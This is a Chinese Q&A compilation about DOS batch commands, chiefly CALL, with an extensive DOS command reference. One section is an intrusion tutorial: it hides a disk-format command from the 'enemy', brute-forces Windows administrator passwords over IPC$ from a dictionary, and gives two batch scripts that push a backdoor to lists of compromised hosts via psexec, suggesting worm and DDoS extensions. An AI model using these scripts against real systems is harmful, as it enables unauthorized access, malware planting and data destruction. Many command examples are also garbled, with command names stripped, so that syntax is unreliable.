『壹』 DOS批處理里調用CALL命令的先後問題
CALL :從一個批文件中調用另一個批文件,調用完後繼續執行原來的批文件。
不是call命令出錯.當你call子1.bat時,1.bat逐條命令其實都已執行完畢,是應該回到你現在的批處理再call 2.bat,
問題就出在1.bat的有些命令中***啟動的程序它還沒執行完呢***
我也想不出在批處理中有什麼好的辦法,可以用ping延時又不準確,哎,我沒轍....
『貳』 dos 命令
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
『叄』 call DOS命令和直接運行有啥區別
沒有區別,call命令是在一個批處理程序裡面調用另一個批處理程序用的,直接輸入的命令前面沒必要加call,加了也沒區別
『肆』 dos語言里call命令的語法
call [[Drive:][Path] FileName ] [:label [arguments]]
call [[盤符:][路徑] 文件名 ] [:標記 [參數]]
舉例:
call [[盤符:][路徑] 文件名 ]
call C:\WINDOWS\system32\calc.exe
---------------------------------------------
舉例:(此例需保存為BAT文件運行)
call [:標記 [參數]]
@echo off
:: +-----------------------------------------------+ ::
:: | BAT-GO團員【wkdxz】 At:2010-08-03 11:49:10 | ::
:: +-----------------------------------------------+ ::
title 【call :標記 參數】 實例
call :biaoji %0
pause>nul&exit
:biaoji
echo.本文件盤符:%~d1
echo.本文件短名:%~s1
echo.本文件名字:%~n1
echo.本文件後綴:%~x1
goto :eof
『伍』 DOS 批處理文件裡面call另一個批處理,和直接寫另一個批處理有啥區別
Call調用 就相當於創建了一個新的運行環境在裡面執行然後返回執行,而不用call就相當於直接執行過去
這會有什麼區別:
1.沒用call 如果1.bat裡面出錯了,就直接退出了,而如果用了Call,出錯了還能返回繼續執行下面的批處理
2.如果有返回(%errorlevel%),Call裡面的返回就會被丟失,而直接調用就能獲得
3.處理方式不一樣,還會有其他區別
『陸』 dos命令中call的問題
goto是跳轉到子命令後執行子命令以後的代碼,直至代碼結束
寫在goto命令下面和goto那個子命令之前的命令不再被執行
用call只要call子命令中不出現exit命令或再跳轉到其它不包含exit命令的執行所有命令後,再返回call下面的命令,繼續執行那些後面的命令
『柒』 懂DOS的朋友,請問CALL命令怎麼用啊
CALL [drive:][path]filename [batch-parameters]
batch-parameters 指定批處理程序所需的命令行信息。
如果命令擴展名被啟用,CALL 會如下改變:
CALL 命令現在將卷標當作 CALL 的目標接受。語法是:
CALL:label arguments
一個新的批文件上下文由指定的參數所創建,控制在卷標被指定
後傳遞到語句。您必須通過達到批腳本文件末兩次來 "exit" 兩次。
第一次讀到文件末時,控制會回到 CALL 語句的緊後面。第二次
會退出批腳本。鍵入 GOTO /?,參看 GOTO : EOF 擴展名的描述,
此描述允許您從一個批腳本返回。
另外,批腳本文本參數參照(%0、%1、等等)已如下改變:
批腳本里的 %* 指出所有的參數(如 %1 %2 %3 %4 %5 ...)
『捌』 dos call命令問題
呃,你太心急了,子程序段我正在寫,先給你說說吧,直接寫個例子 @echo off set /p a=請輸入一個數字 set /p b=請再輸入一個數字 echo 准備調用子程序 pause goto :cala %a% %b% echo 調用結束 pause exit :cala set /a c=%1+%2 echo %1與%2的和為%c% goto :eof
『玖』 DOS命令大全及其用法,越詳細的越好!!!
樓主,您找不到比這個更全的了,加油!
一、DIR 命令的格式:
dir [D:][PATH][NAME][[/A][:attrib]][/o:[sorted][/s][/b][/l][/c[h]
(1)dir /a:attrib 預設包含所有文件(系統文件.隱含文件)
attrib[:][h/-h]只顯示隱含文件或非隱含文件.
[r/-r]只顯示只讀文件或非只讀文件
[s/-s]只顯示系統文件或非系統文件
[a/-a]只顯示要歸檔文件或非歸檔文件
(2)/o[:]sorted:預設完全按字母順序,子目錄顯示在文件之前
/o[n/-n]:按字母順序或按文件名順序/反向顯示
[e/-e]:按擴展名字母順序/反向顯示
[d/-d]:按時間順序/反向顯示
[s/-s]:按大小從大到小或/反向顯示
[g/-g]:按子目錄先於文件或文件先於子目錄
(3)/s 參數:對當前目錄及其子目錄中所有文件進行列表
列名:dir /s/a/o:n c:\>PRN
將c盤上的所有子目錄和文件按隸屬關系並根據子目錄和文件字母順序列印輸出
(4)/B 參數:將只顯示文件名與擴展名
(5)/L 參數:將全部用小寫字母對文件或子目錄進行列表
訓練:
dir /a 列當前目錄所有文件(含隱含及系統文件)
dir /ah 列隱含文件(包含子目錄(隱含的) dir /a-h
dir /as 列系統文件 dir /a-s
dir /ad 列子目錄 dir /a-d
dir /o 按字母順序
dir /B 只顯示文件名與擴展名
二、attrib [+r|-r] [+a|-a] [+s|-s] [+h|-h] [d: ] [name] [/s]
預設 attrib name 顯示文件的(文件)屬性
attrib io.sys (或子目錄)
shr c:\ io.sys 指定為系統(s) 隱含(h) 只讀(r)文件
也可以attrib *.sys 顯示擴展名為sys的文件屬性
參數 [+r|-r] 將文件屬性設置或解除 只讀屬性
[+a|-a] 將文件屬性設置或解除 歸檔屬性
[+h|-h] 將文件屬性設置或解除 隱含屬性 (尤其對子目錄也起作用)
/s 參數 將當前及當前子目錄下的所有文件均起作用
可以用來查找文件
例子:
attrib news86 列news86的文檔屬性
attrib +r report.txt 設置為只讀 attrib -s -h record.txt
attrib +a a:*.*
attrib -a a:*.bak
x a: b: /a 將A盤上的所有標志為"歸檔"屬性的文件拷到B盤
x a: b: /m 將A盤上的所有文件拷到B盤後並移去歸檔屬性
三、cd 介紹: cd...返回上二級目錄 "."代表當前目錄 "."代表父目錄
cd ..\..返回到上級目錄的父目錄(祖目錄)
cd A:\ 將A盤的當前目錄改為根目錄
cd A:\xx 將A盤的當前目錄改為子目錄xx下
cd ..\98 先返回父目錄,再進入父目錄下的98子目錄
cd ..返回到父目錄
cd\98 進入根目錄下的98子目錄
四、 [/y][/-y][/v][ /B]
/y 不加提示,對所有文件加以覆蓋
/-y 加以提示,對所有文件 (yes或no提問 )
/v 拷貝以後加以校驗
/B 按二進制進行顯示
w1.wps con/b 可以將wps文件在屏幕上顯示,而不必進入wps狀態
..\98 將父目錄下的98子目錄下的所有文件全拷到當前子目錄
.\97 當當前目錄下的97子目錄下文件全部拷到當前目錄
. c:\ 將當前目錄下的所有文件拷到c盤根目錄
. 意味著 *.* 文件
nul a.abc 將a.abc 文件清空(文件長度改為0)
文件名+con 向文本文件中追加命令或內容
con 文件名 創建文本文件(F6存檔退出)
con prn 檢測列印機的開關
五、x命令
x [source] [d:date] [/p] [/s] [/e] [/v] [/y]
x [d:date] x a:b:\ /d:08/18/98/s/v 拷貝98.08.18年後的文件
x [/p] 提示創建子目錄
x [/s] 連帶子目錄一起拷貝. 注意:若目標盤上不存在此子目錄,而在目標
盤的結束符又不以"\"為結束,則將提示:
does destination specify a file name or directory name on the target
[f=file,d=directory]?
在目標盤上創建文件[按下]還是創建子目錄[按下d] ?應選擇d鍵
x[/v] 帶較驗
*:(1) x 不拷貝系統和隱含文件,應先予以修改屬性再拷貝
x [/y] 覆蓋時是否有提示, /y 不帶提示
若省略目標盤或子目錄名,則拷貝到當前目錄下
六、 del /p
加/p 可以在刪除前是否提示
如del後加子目錄名,則將子目錄下所有文件(隱含.系統.只讀文件除外)全刪除,
加/p則可以確認.
七、undelete [name] /au
不加提示地將所有滿足條件的文件恢復(能夠恢復的),並將首字母置成"#",若已
存在,則按"# % & 0 1 2-9 a-z"順序加上.
如:undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭,作為文件
名, /list 僅列出可恢復的文件,而不恢復
undelete /load 將undelete裝入內存
/unload 將undelete卸出內存
/s[drive]對指定驅動器進行監測管理
undelete/sc
將 undelete駐留內存,?並創建一個隱含的sentry 子目錄對c盤刪除的文件進行
管理 undelete/ds 恢復
相應恢復命令可以用undelete即可完整恢復出文件名(非常完整)
最常用undelete *.*
deltree /y [drive:path]
deltree 刪除子目錄及文件,盡管有些文件是系統文件或隱含文件
它可以帶有通配符,帶有通配符時,它將刪除符合條件的文件及子目錄
如:?undelete *.dbf/au 將擴展名為"dbf"的文件全恢復,並以"#"開頭作為文件
名.
/list 僅列出可恢復的文件,而不作恢復操作.
undelete/load 將undelete 裝入內存.
/unload將undelete 卸出內存.
/s[drive] 對指定的驅動器進行監視管理.
undelete/sc 將undelete 駐留內存,並創建一個隱含的sentry子目錄對C盤刪除
的文件進行管理.相應恢復命令可以用undelete/ds 即可完整恢復出文件名(很完善).
最常用的是undelete *.*
八、deltree /y [drive:path]
deltree 刪除子目錄及文件,盡管有些文件是系統或隱含的.
它可以帶有通配符,這時它將刪除符合條件的文件或子目錄.
如:存在L1文件,L2子目錄,L3文件,L4子目錄
deltree L*.* 將刪除以上所有的文件和子目錄,但在刪除前加以確認,若不刪除,
可以輸入"N".
/y 參數是在刪除時不加以確認就進行操作的.
它刪除的文件可以用undelete恢復,?但不能恢復子目錄及其下的文件,可以用特
殊工具.如NORTON 8.0 等.
若提前使用了undelete/s,?則可以在sentry子目錄下找到完整的文件,但名已經
改變了.
九、dos=high[|low[umb|noumb]]
dos=high,umb 則dos將自身裝入高端內存(high)並能管理上位內存(umb).
noumb 則不管理上位內存.
在寫入dos=high及umb 前應裝入device=himem.sys
為了將程序或驅動程序裝入上位內存,必須使用dos=umb,可省出大部分常規內存.
可以在config.sys的任何位置寫上dos=high,umb
若顯示hma not avoiable 或 load down low 則表明不能使用高端內存.
十、doskey 記錄以前敲過的dos命令,可以用F7來顯示,用"↑↓"來選擇,用F9來輸入
選擇的命令號.
doskey/restall 重新裝入一次,以前的命令行撤消.
doskey/history 顯示內存中所有的命令,可以">"顯示到其它文件中,縮寫"/H".
doskey dir=cls 則擊入dir等同於cls一樣.
doskey/macros 可顯示所有的宏定義,可使用">"重定義到文件中,可縮寫"/M".
doskey dir= 可撤消對dir 的宏定義.
doskey p=dir$tdir*.exe/p$tdir c:\t$tdir c:\t$*
$t為命令的區分符,而$*為命令的結束符
doskey/insert(overstrike)?在重新輸入命令時,對舊命令的修改是插入還是覆
蓋狀態(默認).
十一、emm386.exe
提供對擴展內存的管理,使應用程序象使用常規內存一樣能夠使用它.
常見的用法是 在config.sys 中
device=c:\dos\himem.sys
device=c:\dos\emm386.exe ram
d=64 將DMA 內存數量設置為64K
noems 提供對上位內存的訪問,但不提供對擴展內存的訪問.
應注意的是在windows中最好不要用它,因為windows本身有對擴展內存進行管理
的程序.應採用windows中的管理器.
十二、fc 命令 fc/b dt.dat dt2.dat>b (作二進制代碼比較)
比較兩個文件,一般用作存取進度,修改游戲存儲文件用.
實際代碼位置應加上0100 如:0000 05E4:00 67
實際用debug -e 修改時應加上0100 即 0000 06E4:00 67
後面加上重定向文件">P" 可以將比較結果輸出到p文件中.
十三、format /q /u /s /n:sectors /f:size /c
/q參數:快速格式化,僅掃描文件分配表和根目錄區,僅對格式化過的磁碟有效.
使用時應確保格式化過後沒有增加新的壞道.
/u參數:無條件格式化,並且不保存原來盤上的信息,可以防止"unformat".
/s參數:格式化為系統盤,也可以使用"sys"命令.
/f:size size 可以為160 180 320 360 720 1200 1440 2800
/n:sector n可以為1 格式為單面盤,容量為160k 180k
可以為4 可以在5寸高密驅動器上格式化360k磁碟
可以為8 可以在5寸高密驅動器上進行8個扇區的格式化.
/c 重新測試壞扇區,預設時如果一個扇區標記為"壞",以後格式時就不在從新測
試,僅作標記,使用"/C"時可以從新測試.
十四、unformat 命令
對用format 格式過,且未用"/u"參數的命令起作用,用它可以來重新修復已經損
壞的硬碟分區表,但對網路盤不起作用.
unformat drive:[/l][/test][/p]
/l 顯示每一個被unformat發現的文件和子目錄,如果沒有這個開關,只顯示那些
破碎的文件和子目錄,可以用ctrl+s 暫停,按任意鍵繼續.
/test 僅作一個測試,不作實際的修復工作,作模擬過程.
/p 一邊測試一邊列印.
注:這種方法不能保證修復所有的文件,尤其是格式化後又添加過數據的磁碟.
恢復後的文件依次存放在subdir1....2....3等子目錄中.
十五、interlnk 語法 interlnk g=e ,它可以通過串口或並口在兩機間進行通訊.
將伺服器端上的e驅動器映射為客戶端的g驅動器,以後對客戶端而言,所有對g的
操作都意味著對伺服器的訪問,取消映射的辦法為interlnk g=
單獨輸入interlnk 則顯示所有的映射情況.
注意:interlnk 必須在裝入interlnk.exe 設備驅動程序才可以使用.
所用的驅動器符號與config.?sys中lastdrv.exe設置的數目有關.可以作一個一
端為25針,另一端為9針的串列線實現,具體接線方式如下:
5 - 7 2 - 15
3 - 2 3 - 13
7 - 4 4 - 12
6 - 6 5 - 10
3 - 3 6 - 11
8 - 5 15 - 2
4 - 20 13 - 3
9針 25針 12 - 4
10 - 5
11 - 6
25 - 25
25針 25針
十六、interlnk.exe 與intersvr.exe
interlnk.exe 重新定向對於客戶驅動器或列印介面的請求到另外的伺服器驅動
器或列印機.
語法:config.sys 中加入:
device=c:\dos\interlnk.exe [drive:n][/noprinter][com][lpt]
十七、memmaker[/b][/batch][session][/swap:drive]
使用memmaker能夠優化內存配置,?並將配置寫入autoexec.bat和config.sys中.
在這一過程中,需要重新啟動幾次機器.
十八、memitem memcolor memdefault submenu 菜單選項include
autoexec.bat 中如下: config.sys中如下:
path c:\dos;c:\ucdos [menu]
doskey menucolor=15,1(前景色15,背景色1)
\mouse\mouse menuitem=base_config,this is a base
goto %config% ->選擇項 menuitem=cced_config,this is a cced
選項 提示
:base_config menudefault=base_config,5
goto exit ->跳出 預設為base_config,延遲時間5秒
:cced_config [common]
c:\dos\smartdrv.exe /l device=c:\dos\himem.sys
goto exit 各項都包含的共同部分
:exit ->結束 [base_config]
device=c:\dos\emm386.exe ram
dos=high,umb
[cced_config]
device=c:\dos\smartdrv.exe/double_buffer
include=base_config 包含base_config設置
可以根據計算機的在不同情況下的配置要求來選擇.
十九、mscdex.exe 提供對光碟機進行讀寫的程序
mscdex/d:drive [/D:drive][/e][/k][/s][/l:letter]
典型:config.sys 中device=c:\cdrom\cdrom.sys /d:mscd000
autoexec.bat中 c:\dos\mscdex /d:mscd000 /l:g
配置了一個光碟機,符號為g
參數/d:drive1為光碟機身份號,須與config.sys中的符號一致,可有多個
/d:mscd000 /d:mscd001
/e:使用擴展內存裝入光碟機驅動程序.
/s:使光碟機在ms_net或windows是否設置為共享光碟機
/V是否在載入時顯示內存.
/L:letter 分配給光碟機的盤符
/m:number 指定緩沖器的數目
應該注意的是:?如果用smartdrv.exe 加速對光碟機的讀寫能力,應該在autoexec.
bat中將mscdex.?exe 寫在smartdrv.exe 之前,smartdrv.exe的使用可大幅提高
對驅動器的讀寫能力.
二十、msd的使用
使用msd 可以整體檢查計算機配置及系統信息
包括:?驅動器參數,計算機cpu參數,內存大小參數,顯示器類型,串.並口情況,以
及各個IRQ佔用情況,據此可以分析新增設備是否與原來設備有沖突.
同時也可以通過分析內存駐留程序,判斷內存中是否有病毒,有則標為"???".
二十一、prompt dos提示符
$q 等於號 $t 當前時間 $d 當前日期 $p 當前驅動器符號
$$ $號提示 $n當前驅動器 $g 大於號 $l小於號 $b 顯示"|"管道號
$h 隱去提示符 $E顯示"<-"號
對於其它文字,則直接顯示文本本身prompt ljw,則顯示為ljw提示符
prompt 則僅顯示當前驅動器號及大於號.
二十二、ramdrive.sys 使用內存當做虛擬盤來使用
應注意,所有數據都存在於內存中,應及時將其存到硬碟中,否則掉電後或者死機
後將丟失全部數據,優點是運行速度快,但不能在windows中使用.
示例:config.sys: device=c:\dos\ramdrive.sys /size[/e|a]
size為以k為單位的位元組數,即建立的虛擬盤的大小.
/e或/a 都是使用擴展內存來建立虛擬盤,?加參數的前提是必須先載入內存管理
器himem.sys及emm386.exe.
二十三、subst 將一個驅動器與一個子目錄聯接
如:將對A:\l1\l2 子目錄的請求映射為S盤,則輸入
subst s: a:\l1\l2 即可
這樣使用dir s:?等命令則顯示的是a:\l1\l2子目錄下的內容,其它 del 一樣
可以用subst s: d 來取消這種映射.
可以用subst 來顯示各種聯接情況
注意:?可以採用subst a: c:a 來建立一個對於A的讀寫盤.對於某些安裝軟體
來說,?必須使用A盤來安裝,就可以使用先將所要安裝的軟體全部拷貝到C:a子
目錄中,然後輸入subst a: c:a,再轉到A:,就可以進行軟體的安裝了.
二十四、mem /c /m /p /d 常規內存顯示程序
/c顯示所有內存駐留程序的佔用情況,分為conventional常規內存和uppermemory
高端內存佔用,並顯示總的佔用情況(常規 高端 保留 擴展內存)
/p分頁顯示,頁間暫停
/m後加模塊名 如:/m msdos 顯示dos系統內存的佔用.
/d對常規 高端 保留 擴展內存加以詳細例表說明
通過分析,可以看出內存佔用是否合理,以及各種程序是否正常載入,從而在此基
礎上使用內存優化工具memmaker進行各種管理,同時又可以分析出一些程序死機
的原因,若有的地方顯示"???",則可以斷定內存中有病毒的存在,有利於發現及消滅.
二十五、各種管道工具的使用"> < >> <<"
將各種命令造成的輸出或所需要的輸入重新定向
如:dir *.bat /b>p 可以將dir *.bat 例出的文件名輸出到p文件中.
time<p>>p.bat
p文件中僅存在一個回車符,則可以將時間追加進p.bat文件中
"> >>" 是將命令產生的輸出重新定向,比如到文件或列印機中.
>>產生的內容將追加進文件中,>則將原文件內容覆蓋.
"< <<" 是將命令所需要輸入的內容重新定向.
如:time<p 在批中可以是時間代碼或回車符,可以以此改變時間.
需要說明的是 "prn "為列印機, "null"為空設備
con 為顯示器
type p.bat>prn 可將p.bat列印出來.
null p 可將p文件刪除掉
con p 可以在屏幕上編輯p文件,F6可以存檔退出
type p>pp 完成p文件到pp 的復制
type p|more 可在屏滿時暫停顯示
二十六、move 命令
move [y/-y] filename1 filename2
將文件1移動到文件2處
如:move c:\dos\*.* c:\cced
將dos子目錄下的所有文件全部移動到cced 子目錄下
/y|-y參數在目標目錄不存在需要創建時,是否出現提示
可以使用該命令修改子目錄名稱,如 move dos cced
將dos目錄名改為cced
二十七、append 指定一些特殊數據文件的存放位置,如user.dat pe2.pro等一些非*.
exe *.com *.bat 文件
格式:append [:]終止以前存在的指定目錄 append 顯示指定情況
append [path] append c:\user 等
二十八、
call 在一個批處理命令中調用另外一個批處理文件
(1)不終止現有文件的運行,執行完掉用程序後立即返回.
(2)被調用批處理命令必須以bat 為擴展名
